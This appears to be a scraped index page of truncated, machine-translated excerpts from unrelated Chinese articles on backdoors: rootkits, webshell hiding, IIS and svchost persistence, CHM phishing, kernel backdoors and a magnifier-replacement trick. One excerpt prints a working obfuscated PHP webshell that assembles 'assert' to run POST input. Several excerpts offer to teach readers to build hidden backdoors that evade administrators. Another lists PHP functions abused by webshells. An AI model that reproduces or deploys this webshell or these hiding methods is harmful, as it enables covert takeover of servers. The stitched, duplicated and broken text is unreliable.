backdoor classified

Author: AlphaSource: UnknownNature of the article: originalTimes: 25Release date: 2004-12-27 For a long time, we have been depressed about making a good backdoor. Those ready-made backdoor software can hardly escape the pursuit of anti-virus software, and it seems unrealistic to write a backdoor for these bugs. Next I will teach you a way to create your

Security O M: Use of Linux backdoor intrusion detection tools 1. Introduction to rootkit Rootkit is the most common backdoor tool in Linux. It mainly replaces system files for intrusion and concealment. This Trojan is more dangerous and concealed than a common backdoor, it is difficult to find such Trojans through common detection tools and detection methods. Th

Once suffered from Trojans, backdoor (hereinafter referred to as the backdoor), people will not forget the destruction of the machine after the carnage, so people launched a positive defensive work, from the patch to the firewall, want to even add a validator, in a variety of defensive techniques under the fire, a large number of back door down, rookie do not have to panic online ...... But will the back do

Once suffered from Trojans, backdoor (hereinafter referred to as the backdoor), people will not forget the destruction of the machine after the carnage, so people launched a positive defensive work, from the patch to the firewall, want to even add a validator, in a variety of defensive techniques under the fire, a large number of back door down, rookie do not have to panic online ... ... But will the back d

NodeJs backdoor program 0x00 Preface Start with the language to write a program that does not exist in the market.0x01 why NodeJs? I personally love the JavaScript language, and what we are talking about today is NodeJS, a branch of the JavaScript language. NodeJS itself is a Web server and also a back-end language. This is especially important because we only need to download a NodeJs to complete a series of operations, which saves a lot of trouble.

I believe many of my friends have deleted the backdoor that has been infiltrated. Today I am writing this article to teach you how to create your own hidden backdoor and fight the Administrator '''' This article mainly introduces two aspects of backdoor hiding technology: web or server... Let's talk about hiding webshell: The stupid way is to find some places tha

Author: TheLostMindSource: Brilliant notes Since I last found a WebShell management website from the Internet, I found a backdoor, infected with a Trojan, and the database was damaged. So far, it has not been repaired ...... So be especially careful with others' webshells. I found a 13th WEBSHELL final generator on the Internet, Next we will generate an ASP WebShellThe generated WebShell is encrypted.This decryption tool is used directly and will not

shown here is the same as that shown in the service, but it is only a DOS interface. TIPS: in Windows xp, the "tasklist/svc" command will receive the same effect. Due to the length of the article, all functions of Svchost cannot be described in detail. This is a special process in Windows. If you are interested, refer to the relevant technical materials to learn more about it.Next, we have used svchost.exe to launch the trojan program. Here, I chose PortLess

Windows IIS5/IIS6 do backdoor, hide access, do not leave access record or leave logHard to attack a windows2000/2003 IIS server, you must be thinking, how to long-term possession of the "broiler" it? Smart you will think of the way to leave the back door.On the Windows familyWeb server, I think the bestThere is no back door to the back door through the 80 port, because if you want to provide Web services externally, the administrator will not put 80 p

About 0x00 Previously wrote a article about client fishing: "Effective fishing using PowerShell client", in the process of testing with each client, the individual found the CHM file is the best use, but its disadvantage is that the black box, so that the attacker will be aware of. So how do you let him not play the black box? That's what this article is about.About 0x01 CHM Before you introduce how to use CHM as a backdoor, you first need

This article will introduce a very short code, but also a very covert backdoor Trojan, so that everyone in the detection program can avoid being hung Trojan. The contents of the file are as follows: $_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?> A lot of comments are inserted into the code, and the server's

Cisco found 12 million PCs installed with backdoor spyware Cisco Talos Group security researchers claimed that 12 million PCs were installed with the backdoor program Tuto4PC. Suspicious Backdoor programs are developed by French Internet advertising company Wizzlabs and feature AD software and spyware. Wizzlabs has issued a statement stating that the descripti

Author: wztEMail: wzt@xsec.orgSite: http://www.xsec.org hhtp: // optional Author: wztEMail: wzt@xsec.orgSite: http://www.xsec.org hhtp: // hi.baidu.com/wzt85Date: 2008-8-29 I. INTRODUCTION to kernel backdoors2. system calls in the kernelIII. use the kernel mode socket function4. how to expand the backdoorV. References6. source code I. INTRODUCTION to kernel backdoors The so-called kernel backdoor, of course, refers to the remote control shell module

Magnifiers, the most tricky Backdoor MagnifiersMagnify. Exe) is a small tool integrated with Windows 2000/XP/2003 systems. It is designed to help users with visual impairment. The tool can be used with the “win+u”combination before the user's guest system. For this reason, the attacker can replace the magnifier program with a file of the same name as magnify.exe, which is specially crafted to control the server. In general, the attacker creates an adm

Some of the PHP site management procedures, some backdoor, in fact, the official is not malicious, mainly for their own security.I do not care about the hint box, sablog how to know that my version has a loophole, the program must have a back door. Automatic detection of the official version of the background is compared with the current version. Well, I found it later. In the last part of templates/admin/main.php. Delete the following code. .In fact,

Catalog1 . Vulnerability Description 2 . Vulnerability trigger Condition 3 . Vulnerability Impact Range 4 . Vulnerability Code Analysis 5 . Defense Methods 6. Defensive thinking1. Vulnerability descriptionEcshop is a popular online store management system software, its 2.7.3 version of a patch exists backdoor files, attackers use the backdoor to control the siteRelevant Link:http://sebug.net/vuldb/ssvid-623

recently, around the Apple IOS Mobile phone system backdoor event, the international confrontation between two factions constantly escalating, from the Zaderski personal website visible. in our country, the movement is not big, the depth is not enough. At this moment, we must make a clear statement, criticize Apple's "diagnosis backdoor theory", Solidarity Zaderski! Apple IOS mobile phone has a "

Php webshell Trojans are no stranger to everyone, but what types do you know about them?Common functions of php Backdoor trojans can be divided into four types:1. execute system commands: system, passthru, shell_exec, exec, popen, proc_open2. Code Execution and encryption: eval, assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot133. File Inclusion and generation: require, require_once, include, include_once, file_get_con

glances at A program interface in smoke, and suddenly the interface changes. At the same time, hacker A also beats the keyboard, the next step is the familiar control interface. You may not believe your own eyes: Is it the machine that finds him? Impossible ...... However, this is the fact that the server actually finds it. Hacker A is not A high technology either. He just uses an anti-customer BackDoor-A bounce Trojan. As we all know, intrusion is u

EndurerOriginal3Anti-virus software.2Anti-virus software.1Version Yesterday, a netizen said that rising's automatic scanning report on his computer:-----------Backdoor. gpigeon. uqlCleared successfully iexplore. EXE> C:/program files/Internet Explorer/iexplore. EXE Local Machine----------- Therefore, QQ is used for remote assistance. This user uses Windows XP SP2. Download hijackthis scan log from http://endurer.ys168.com and find the following suspic